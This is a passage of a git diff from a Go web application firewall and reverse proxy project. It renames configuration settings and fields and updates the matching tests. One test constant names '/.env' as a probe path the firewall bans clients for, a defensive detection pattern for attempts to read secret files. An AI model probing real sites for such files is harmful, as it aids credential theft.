time.Hour, - MaxBans: 5000, + LimitBanDuration: time.Hour, + LimitBanRepeatWindow: 24 * time.Hour, + LimitBanPermanentAbove: 7 * 24 * time.Hour, + AttackBanDuration: 7 * 24 * time.Hour, + MaxBans: 5000, }), Limiter: ratelimit.New(ratelimit.Limits{}, 20000), GeoJS: lookup.New(lookup.Params{ @@ -2447,7 +2447,7 @@ func newParams(dir string) state.Params { RequestsPerMinute: 1000, BytesPerMinute: 1 << 30, }, - Watch: anomaly.Thresholds{RequestsPerHour: 1000}, + WatchedNet: anomaly.Thresholds{RequestsPerHour: 1000}, NetV4Prefix: 24, NetV6Prefix: 48, NamedNetblocks: []anomaly.NamedNetblock{ diff --git a/internal/sww/healthcheck_test.go b/internal/sww/healthcheck_test.go index 4d45925..0dd397e 100644 --- a/internal/sww/healthcheck_test.go +++ b/internal/sww/healthcheck_test.go @@ -33,9 +33,9 @@ func TestHealthCheckInWAFsContainer(t *testing.T) { out := &output{} exited := make(chan int, 1) settings := map[string]string{ - listenAddr: localhost + ":0", - stateDir: t.TempDir(), - rulesDir: t.TempDir(), + listenAddr: localhost + ":0", + stateDir: t.TempDir(), + ruleFilesDir: t.TempDir(), } go func() { @@ -120,7 +120,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) { // Another setting does not fail it, even an invalid one, and neither does // SWW_RPROXY_WAF_BACKEND being unset. - wantHealthCheck(t, settings("SWW_RPROXY_TIMEOUT_MS", "soon"), 0, "") + wantHealthCheck( + t, + settings("SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", "soon"), + 0, + "", + ) // Another test can take a closed server's port at once, so the app's // address here is a multicast address, to which TCP cannot connect. diff --git a/internal/sww/rproxy.go b/internal/sww/rproxy.go index 77cee90..f3f4dd3 100644 --- a/internal/sww/rproxy.go +++ b/internal/sww/rproxy.go @@ -15,10 +15,11 @@ import ( // RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves // requests until ctx is done. Then it gives the requests in progress -// shutdownTimeout to finish, and the reports being sent SWW_RPROXY_TIMEOUT_MS. It -// returns the process's exit status, 1 when rproxy cannot start. Its process -// messages name the host's name as instance, and it writes those at info or -// more severe: rproxy has no setting for either. +// shutdownTimeout to finish, and the reports being sent +// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1 +// when rproxy cannot start. Its process messages name the host's name as +// instance, and it writes those at info or more severe: rproxy has no +// setting for either. func RunRProxy(ctx context.Context, params Params) int { hostname, _ := os.Hostname() // "" when the host has no name to give processLog := requestlog.NewProcessLogger( diff --git a/internal/sww/rproxy_test.go b/internal/sww/rproxy_test.go index 2bf7eda..934d92f 100644 --- a/internal/sww/rproxy_test.go +++ b/internal/sww/rproxy_test.go @@ -31,8 +31,8 @@ const ( rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR" // rproxyUpstreamURL is the setting that says where the app is. rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL" - // rproxyTimeout is the setting that says how long rproxy waits for waf. - rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS" + // wafBackendTimeout is the setting that says how long rproxy waits for waf. + wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" // bannedProbe is a path the default rule file bans a client for. bannedProbe = "/.env" // otherClient is a client the tests do not ban. @@ -135,9 +135,9 @@ func wafSettings(t *testing.T) map[string]string { t.Helper() return map[string]string{ - listenAddr: localhost + ":0", - stateDir: t.TempDir(), - rulesDir: filepath.Join("..", "..", "share", "rules.d"), + listenAddr: localhost + ":0", + stateDir: t.TempDir(), + ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"), } } @@ -241,12 +241,13 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) { forwardTo("") stop() - // With waf down, the site answers, and rproxy says the default did it. + // With waf down, the site answers, and rproxy says + // SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it. wantStatus(t, site+"/after-stop", placed, http.StatusOK) line := out.line(t, "path", "/after-stop") if line["disposition"] != waf.DispositionAllow || - line["default_disposition"] != true { + line["waf_backend_no_answer"] != true { t.Errorf("rproxy's line is %v", line) } @@ -475,7 +476,7 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) { } line := out.line(t, "path", "admin") - if line["disposition"] != nil || line["default_disposition"] != nil { + if line["disposition"] != nil || line["waf_backend_no_answer"] != nil { t.Errorf("rproxy's line is %v, want no disposition", line) } } @@ -496,7 +497,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) { line := out.line(t, "path", bannedProbe) if line["client_ip"] != "2001:db8::1" || - line["default_disposition"] != nil { + line["waf_backend_no_answer"] != nil { t.Errorf("rproxy's line is %v", line) } } @@ -691,7 +692,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) { env := map[string]string{ rproxyListenAddr: localhost + ":0", "SWW_RPROXY_UPSTREAM_URL": startApp(t), - rproxyTimeout: "60000", + wafBackendTimeout: "60000", wafBackend: backend.URL, } out := &output{} @@ -855,8 +856,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) { }{ {"no backend", wafBackend, nil}, { - "another invalid", rproxyTimeout, - map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"}, + "another invalid", wafBackendTimeout, + map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"}, }, } { t.Run(tc.name, func(t *testing.T) { diff --git a/internal/sww/sww.go b/internal/sww/sww.go index b4be488..3da2b60 100644 --- a/internal/sww/sww.go +++ b/internal/sww/sww.go @@ -116,7 +116,7 @@ func RunWAF(ctx context.Context, params Params) int { processLog := requestlog.NewProcessLogger(params.Stdout, config.InstanceName(params.Viper), slog.LevelError) - cfg, err := config.FromEnvironment(params.Viper) + cfg, err := config.WAFFromEnvironment(params.Viper) if err != nil { return cannotStart(processLog, "invalid setting", err) } @@ -159,7 +159,7 @@ func RunWAF(ctx context.Context, params Params) int { func runWAFWithSettings( ctx context.Context, version string, - cfg *config.Config, + cfg *config.WAF, stdout io.Writer, remote *remotelog.Sender, processLog *slog.Logger, @@ -170,8 +170,8 @@ func runWAFWithSettings( alertQueue := newAlertQueue(cfg, now, processLog) ruleFiles, err := rules.Load(rules.Params{ - Dir: cfg.RulesDir, - Enabled: cfg.RulesEnabled, + Dir: cfg.RuleFilesDir, + Enabled: cfg.RuleFilesEnabled, ProcessLog: processLog, Alerts: alertQueue, }) @@ -246,7 +246,7 @@ func cannotStart(processLog *slog.Logger, message string, err error) int { // after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup // database that cannot be read is an error. func newServer( - cfg *config.Config, stdout io.Writer, processLog *slog.Logger, + cfg *config.WAF, stdout io.Writer, processLog *slog.Logger, now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue, crs *coreruleset.CoreRuleSet, ) (*waf.Server, error) { @@ -293,33 +293,33 @@ func newServer( // loadStateFiles reads the state and cache files into the parts of server and // into alertQueue, as state.Load does. func loadStateFiles( - cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue, + cfg *config.WAF, server *waf.Server, alertQueue *alerts.Queue, now func() time.Time, processLog *slog.Logger, ) (*state.Files, error) { return state.Load(state.Params{ - Dir: cfg.StateDir, - CacheDir: cfg.CacheDir, - WriteDelay: cfg.StateWriteDelay, - CounterInterval: cfg.StateCounterInterval, - Ledger: server.Ledger, - Limiter: server.Limiter, - GeoJS: server.GeoJS, - Lists: server.Lists, - DNSBL: server.DNSBL, - AbuseIPDB: server.AbuseIPDB, - RouteWatch: server.RouteWatch, - Alerts: alertQueue, - Anomalies: server.Anomalies, - Now: now, - ProcessLog: processLog, - Metrics: server.Metrics, + Dir: cfg.StateDir, + CacheDir: cfg.CacheDir, + BansWriteDelay: cfg.BansWriteDelay, + WriteInterval: cfg.StateWriteInterval, + Ledger: server.Ledger, + Limiter: server.Limiter, + GeoJS: server.GeoJS, + Lists: server.Lists, + DNSBL: server.DNSBL, + AbuseIPDB: server.AbuseIPDB, + RouteWatch: server.RouteWatch, + Alerts: alertQueue, + Anomalies: server.Anomalies, + Now: now, + ProcessLog: processLog, + Metrics: server.Metrics, }) } // newAlertQueue returns the queue of the alerts to the webhook, Slack and // ntfy, with the settings for them. func newAlertQueue( - cfg *config.Config, now func() time.Time, processLog *slog.Logger, + cfg *config.WAF, now func() time.Time, processLog *slog.Logger, ) *alerts.Queue { return alerts.New(alerts.Params{ WebhookURL: cfg.AlertWebhookURL, @@ -338,13 +338,13 @@ func newAlertQueue( // newRemoteLogSender returns a sender of the log lines to // SWW_WAF_LOG_REMOTE_URL, with the settings for it. -func newRemoteLogSender(cfg *config.Config) *remotelog.Sender { +func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender { return remotelog.New(remotelog.Params{ - URL: cfg.LogRemoteURL, - RootCAs: cfg.LogRemoteTLSCAs, - Buffer: cfg.LogRemoteBuffer, - Facility: cfg.LogRemoteFacility, - AppName: cfg.LogRemoteAppName, + URL: cfg.LogRemoteURL, + RootCAs: cfg.LogRemoteTLSCAs, + BufferLines: cfg.LogRemoteBufferLines, + Facility: cfg.LogRemoteFacility, + AppName: cfg.LogRemoteAppName, }) } diff --git a/internal/sww/sww_internal_test.go b/internal/sww/sww_internal_test.go index 0396463..9d80d61 100644 --- a/internal/sww/sww_internal_test.go +++ b/internal/sww/sww_internal_test.go @@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration { Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536", }, - Buffer: 1, + BufferLines: 1, }) stopSending := startSending(t.Context(), sender, diff --git a/internal/sww/sww_test.go b/internal/sww/sww_test.go index 2bd7732..20f014e 100644 --- a/internal/sww/sww_test.go +++ b/internal/sww/sww_test.go @@ -34,20 +34,20 @@ const ( // testVersion is the version the tests give sww. testVersion = "test" // localhost is where the tests listen. - localhost = "127.0.0.1" - listenAddr = "SWW_WAF_LISTEN_ADDR" - stateDir = "SWW_WAF_STATE_DIR" - stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY" - stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL" - cacheDir = "SWW_WAF_CACHE_DIR" - rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY" - rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS" - rulesDir = "SWW_WAF_RULES_DIR" - lookupSource = "SWW_WAF_LOOKUP_SOURCE" - lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH" - instanceName = "SWW_WAF_INSTANCE_NAME" - adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name - metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name + localhost = "127.0.0.1" + listenAddr = "SWW_WAF_LISTEN_ADDR" + stateDir = "SWW_WAF_STATE_DIR" + bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY" + stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL" + cacheDir = "SWW_WAF_CACHE_DIR" + rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY" + rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS" + ruleFilesDir = "SWW_WAF_RULE_FILES_DIR" + lookupSource = "SWW_WAF_LOOKUP_SOURCE" + lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH" + instanceName = "SWW_WAF_INSTANCE_NAME" + adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name + metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name // adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set. adminSecret = "fedcba9876543210fedcba9876543210" // instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at @@ -246,9 +246,9 @@ func TestAddressInUseStopsTheStart(t *testing.T) { out := &output{} status := run(t.Context(), map[string]string{ - listenAddr: taken.Addr().String(), - stateDir: t.TempDir(), - rulesDir: t.TempDir(), + listenAddr: taken.Addr().String(), + stateDir: t.TempDir(), + ruleFilesDir: t.TempDir(), }, out) if status != 1 { t.Errorf("exit status %d, want 1", status) @@ -268,9 +268,9 @@ func TestServesUntilToldToStop(t *testing.T) { go func() { exited <- run(ctx, map[string]string{ - listenAddr: localhost + ":0", - stateDir: dir, - rulesDir: filepath.Join("..", "..", "share", "rules.d"), + listenAddr: localhost + ":0", + stateDir: dir, + ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"), }, out) }() @@ -320,7 +320,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) { exited <- run(ctx, map[string]string{ listenAddr: localhost + ":0", stateDir: t.TempDir(), - rulesDir: t.TempDir(), + ruleFilesDir: t.TempDir(), "SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt", "SWW_WAF_LOG_LEVEL": "warn", }, out) @@ -361,7 +361,7 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) { env := map[string]string{ listenAddr: localhost + ":0", stateDir: t.TempDir(), - rulesDir: t.TempDir(), + ruleFilesDir: t.TempDir(), metricsToken: token, instanceName: instance, } @@ -398,12 +398,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) { env := map[string]string{ listenAddr: localhost + ":0", stateDir: t.TempDir(), - rulesDir: t.TempDir(), + ruleFilesDir: t.TempDir(), rateLimitPerDay: "2", // Neither comes due in the test: the files are written as // sww stops. - stateWriteDelay: "1h", - stateCounterInterval: "1h", + bansWriteDelay: "1h", + stateWriteInterval: "1h", } // The two requests a day allows, and a stop. @@ -434,7 +434,7 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) { env := map[string]string{ listenAddr: localhost + ":0", stateDir: t.TempDir(), - rulesDir: t.TempDir(), + ruleFilesDir: t.TempDir(), rateLimitPerDay: "1", scope: "24", } @@ -478,13 +478,13 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) { dir := t.TempDir() env := map[string]string{ - listenAddr: localhost + ":0", - stateDir: dir, - rulesDir: t.TempDir(), + listenAddr: localhost + ":0", + stateDir: dir, + ruleFilesDir: t.TempDir(), // No write comes due in the test, so only the watch on the // directory can take the edits in. - stateWriteDelay: "1h", - stateCounterInterval: "1h", + bansWriteDelay: "1h", + stateWriteInterval: "1h", } runUntilStopped(t, env, func(url string) { @@ -508,14 +508,14 @@ func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) { dir := t.TempDir() env := map[string]string{ - listenAddr: localhost + ":0", - stateDir: dir, - rulesDir: t.TempDir(), - adminToken: adminSecret, + listenAddr: localhost + ":0", + stateDir: dir, + ruleFilesDir: t.TempDir(), + adminToken: adminSecret, // Neither comes due in the test: the files are written as // sww stops. - stateWriteDelay: "1h", - stateCounterInterval: "1h", + bansWriteDelay: "1h", + stateWriteInterval: "1h", } runUntilStopped(t, env, func(url string) { @@ -551,9 +551,9 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) { dir := t.TempDir() env := map[string]string{ - listenAddr: localhost + ":0", - stateDir: t.TempDir(), - rulesDir: dir, + listenAddr: localhost + ":0", + stateDir: t.TempDir(), + ruleFilesDir: dir, // The requests sent until the rule takes effect must not break a // rate limit, whose ban would refuse them too. "SWW_WAF_RATE_LIMIT_PER_MINUTE": "off", @@ -602,13 +602,17 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) { ) } -func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) { +func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) { t.Parallel() dir := filepath.Join(t.TempDir(), "rules.d") - wantRulesRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+ - ": no such file or directory") + wantRulesRefused( + t, + dir, + "SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+ + ": no such file or directory", + ) } func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart( @@ -620,7 +624,7 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart( out := &output{} status := run(t.Context(), map[string]string{ - listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(), + listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(), "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path, }, out) if status != 1 { @@ -652,8 +656,8 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS out := &output{} status := run(t.Context(), map[string]string{ - listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(), - "SWW_WAF_CORE_RULE_SET_MODE": config.WAFModeOff, + listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(), + "SWW_WAF_CORE_RULE_SET_MODE": config.CoreRuleSetModeOff, "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path, }, out) if status != 1 { @@ -675,7 +679,7 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) { env := map[string]string{ listenAddr: localhost + ":0", stateDir: t.TempDir(), - rulesDir: t.TempDir(), + ruleFilesDir: t.TempDir(), metricsToken: token, instanceName: instance, lookupSource: "file", @@ -788,7 +792,7 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) { listenAddr: localhost + ":0", stateDir: t.TempDir(), cacheDir: cache, - rulesDir: t.TempDir(), + ruleFilesDir: t.TempDir(), metricsToken: token, instanceName: instance, "SWW_WAF_BLOCKLIST_URLS": torURL, @@ -874,7 +878,7 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) { listenAddr: localhost + ":0", stateDir: dir, cacheDir: cache, - rulesDir: t.TempDir(), + ruleFilesDir: t.TempDir(), "SWW_WAF_CROWDSEC_LAPI_URL": engine.URL, "SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey, } @@ -957,7 +961,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) { out := &output{} status := run(ctx, map[string]string{ - listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(), + listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(), lookupSource: "file", lookupDBPath: path, }, out) if status != 1 { @@ -992,7 +996,7 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) { env := map[string]string{ listenAddr: localhost + ":0", stateDir: t.TempDir(), - rulesDir: t.TempDir(), + ruleFilesDir: t.TempDir(), "SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(), } @@ -1049,14 +1053,14 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) { }() env := map[string]string{ - listenAddr: localhost + ":0", - stateDir: t.TempDir(), - rulesDir: t.TempDir(), + listenAddr: localhost + ":0", + stateDir: t.TempDir(), + ruleFilesDir: t.TempDir(), "SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr(). String(), - "SWW_WAF_LOG_REMOTE_BUFFER": "1", - metricsToken: token, - instanceName: instance, + "SWW_WAF_LOG_REMOTE_BUFFER_LINES": "1", + metricsToken: token, + instanceName: instance, } out := runUntilStopped(t, env, func(url string) { @@ -1127,7 +1131,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { env := map[string]string{ listenAddr: localhost + ":0", stateDir: dir, - rulesDir: rules, + ruleFilesDir: rules, "SWW_WAF_ALERT_WEBHOOK_URL": webhook.url, "SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret, instanceName: instance, @@ -1233,7 +1237,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) { env := map[string]string{ listenAddr: localhost + ":0", stateDir: t.TempDir(), - rulesDir: t.TempDir(), + ruleFilesDir: t.TempDir(), rateLimitPerDay: "1", // The metrics are read from 127.0.0.1, which no limit counts. "SWW_WAF_ALLOW_NETS": localhost + "/32", @@ -1327,7 +1331,7 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) { out := &output{} status := run(ctx, map[string]string{ - listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(), + listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(), cacheDir: filepath.Join(t.TempDir(), "missing"), }, out) if status != 1 { @@ -1356,7 +1360,7 @@ func wantStartRefused(t *testing.T, dir, want string) { out := &output{} status := run(ctx, map[string]string{ - listenAddr: localhost + ":0", stateDir: dir, rulesDir: t.TempDir(), + listenAddr: localhost + ":0", stateDir: dir, ruleFilesDir: t.TempDir(), }, out) if status != 1 { t.Fatalf("exit status %d, want 1", status) @@ -1386,7 +1390,7 @@ func wantRulesRefused(t *testing.T, dir, want string) { out := &output{} status := run(ctx, map[string]string{ - listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: dir, + listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: dir, }, out) if status != 1 { t.Fatalf("exit status %d, want 1", status) @@ -1458,8 +1462,8 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) { listenAddr: localhost + ":0", stateDir: dir, "SWW_WAF_MODE": "enforce", - stateWriteDelay: "10s", - stateCounterInterval: "15m", + bansWriteDelay: "10s", + stateWriteInterval: "15m", "SWW_WAF_ALLOW_NETS": "", rateLimitExemptNets: "", "SWW_WAF_DENY_NETS": "", @@ -1472,11 +1476,11 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) { "SWW_WAF_BAN_RESPONSE": "403", "SWW_WAF_LIMIT_BAN_DURATION": "1h", "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h", - "SWW_WAF_MAX_BAN_DURATION": "7d", + "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE": "7d", "SWW_WAF_ATTACK_BAN_DURATION": "7d", "SWW_WAF_MAX_BANS": "5000", "SWW_WAF_BAN_SCOPE_V4_PREFIX": "32", - "SWW_WAF_RULES_ENABLED": "true", + "SWW_WAF_RULE_FILES_ENABLED": "true", } for name, value := range want { diff --git a/internal/sww/waf_test.go b/internal/sww/waf_test.go index 9dea9ed..ab825cf 100644 --- a/internal/sww/waf_test.go +++ b/internal/sww/waf_test.go @@ -96,7 +96,7 @@ func TestMainRunsWAF(t *testing.T) { listenAddr+"="+localhost+":0", stateDir+"="+dir, cacheDir+"="+dir, - rulesDir+"="+t.TempDir(), + ruleFilesDir+"="+t.TempDir(), lookupSource+"=off") exited := startProcess(t, cmd) @@ -278,9 +278,9 @@ func TestWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) { t.Parallel() env := map[string]string{ - listenAddr: localhost + ":0", - stateDir: t.TempDir(), - rulesDir: filepath.Join("..", "..", "share", "rules.d"), + listenAddr: localhost + ":0", + stateDir: t.TempDir(), + ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"), } runWAF(t, env, func(addr string) { diff --git a/internal/waf/abuseipdb.go b/internal/waf/abuseipdb.go index 68cb77b..50f64a0 100644 --- a/internal/waf/abuseipdb.go +++ b/internal/waf/abuseipdb.go @@ -1,7 +1,7 @@ package waf // The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY, -// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION. +// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_DNSBL_ABUSEIPDB_ACTION. import ( "context" @@ -16,7 +16,7 @@ import ( // abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with // the score, when its score of the client is a hit, and refuses the request -// when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While +// when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, as dnsbl does for a zone. While // SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is // checked in the background, by the request's address, if its history counts // an offence, and the request does not wait for the answer. The score is then @@ -54,7 +54,7 @@ func (abuseIPDB) check( "scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE", ) - if rq.h.config.ReputationAction != deny { + if rq.h.config.DNSBLAbuseIPDBAction != deny { return nil } diff --git a/internal/waf/alerts_test.go b/internal/waf/alerts_test.go index a1cc0e7..c0c7616 100644 --- a/internal/waf/alerts_test.go +++ b/internal/waf/alerts_test.go @@ -57,7 +57,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) { t.Parallel() s, clk, server, queue := startWithAlerts(t, map[string]string{ - rulesDir: writeRules(t, testRules), + ruleFilesDir: writeRules(t, testRules), }) start := clk.Now() netblock := netip.MustParsePrefix(client + "/32") @@ -121,7 +121,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) { s, clk, server, queue := startWithAlerts(t, map[string]string{ mode: observe, rateLimitPerMinute: "2", - rulesDir: writeRules(t, testRules), + ruleFilesDir: writeRules(t, testRules), }) start := clk.Now() @@ -209,7 +209,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) { s, _, _, queue := startWithAlerts(t, map[string]string{ mode: observe, rateLimitPerMinute: "2", - rulesDir: writeRules(t, testRules), + ruleFilesDir: writeRules(t, testRules), alertMaxPerHour: "2", }) diff --git a/internal/waf/anomaly_internal_test.go b/internal/waf/anomaly_internal_test.go index 9994513..9cb6b54 100644 --- a/internal/waf/anomaly_internal_test.go +++ b/internal/waf/anomaly_internal_test.go @@ -19,7 +19,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) { client: netip.MustParseAddr("203.0.113.9"), lookedUp: true, }, - h: &handler{config: &config.Config{LookupSource: "geojs"}}, + h: &handler{config: &config.WAF{LookupSource: "geojs"}}, } defer func() { diff --git a/internal/waf/anomaly_test.go b/internal/waf/anomaly_test.go index f345583..6579f30 100644 --- a/internal/waf/anomaly_test.go +++ b/internal/waf/anomaly_test.go @@ -21,11 +21,11 @@ import ( // The anomaly thresholds: the prefix of a scope followed by the end of a // count. const ( - anomalyClient = "SWW_WAF_ANOMALY_CLIENT_" - anomalyNet = "SWW_WAF_ANOMALY_NET_" - anomalyASN = "SWW_WAF_ANOMALY_ASN_" - anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_" - anomalyWatch = "SWW_WAF_WATCH_" + anomalyClient = "SWW_WAF_ANOMALY_CLIENT_" + anomalyNet = "SWW_WAF_ANOMALY_NET_" + anomalyASN = "SWW_WAF_ANOMALY_ASN_" + anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_" + anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_" requestsPerMinute = "REQUESTS_PER_MINUTE" requestsPerHour = "REQUESTS_PER_HOUR" @@ -37,7 +37,7 @@ const ( const ( anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX" anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX" - watchNets = "SWW_WAF_WATCH_NETS" + watchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS" ) const ( @@ -75,7 +75,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown( {anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}}, {anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil}, { - anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet), + anomalyWatchedNet, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet), "the named netblock office, " + clientsNet, map[string]any{"name": "office"}, }, } { @@ -97,7 +97,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown( t.Run(setting, func(t *testing.T) { t.Parallel() - env := map[string]string{setting: value, watchNets: office} + env := map[string]string{setting: value, watchedNets: office} s, clk, server, queue := startWithLookupsAndClock(t, env) start := clk.Now() @@ -219,7 +219,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) { // With every threshold off, nothing is counted. s, server, queue := startWithLookups( t, - map[string]string{watchNets: office}, + map[string]string{watchedNets: office}, ) for range 5 { @@ -234,7 +234,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) { // With one set, its count alone is counted, in its scope alone. s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{ - anomalyNet + requestsPerMinute: aLot, watchNets: office, + anomalyNet + requestsPerMinute: aLot, watchedNets: office, }) for range 5 { @@ -348,7 +348,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) { addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now, map[string]string{ trustedProxies: trustLocalhost, - lookupTimeout: "1h", + asnAndCountryLookupTimeout: "3600000", anomalyASN + requestsPerMinute: aLot, }) server.Store(started) @@ -379,8 +379,8 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) { t, readAndAnswer, map[string]string{ - anomalyWatch + requestsPerMinute: aLot, - watchNets: office + ",wide=203.0.0.0/16" + + anomalyWatchedNet + requestsPerMinute: aLot, + watchedNets: office + ",wide=203.0.0.0/16" + ",other=198.51.100.0/25", }, ) diff --git a/internal/waf/answertime_test.go b/internal/waf/answertime_test.go index aa9af3a..197b3d2 100644 --- a/internal/waf/answertime_test.go +++ b/internal/waf/answertime_test.go @@ -29,13 +29,13 @@ import ( ) const ( - // answerTimeLimit is the default of rproxy's SWW_RPROXY_TIMEOUT_MS, the time - // waf has to answer. + // answerTimeLimit is the default of rproxy's + // SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, the time waf has to answer. answerTimeLimit = 2 * time.Second - // 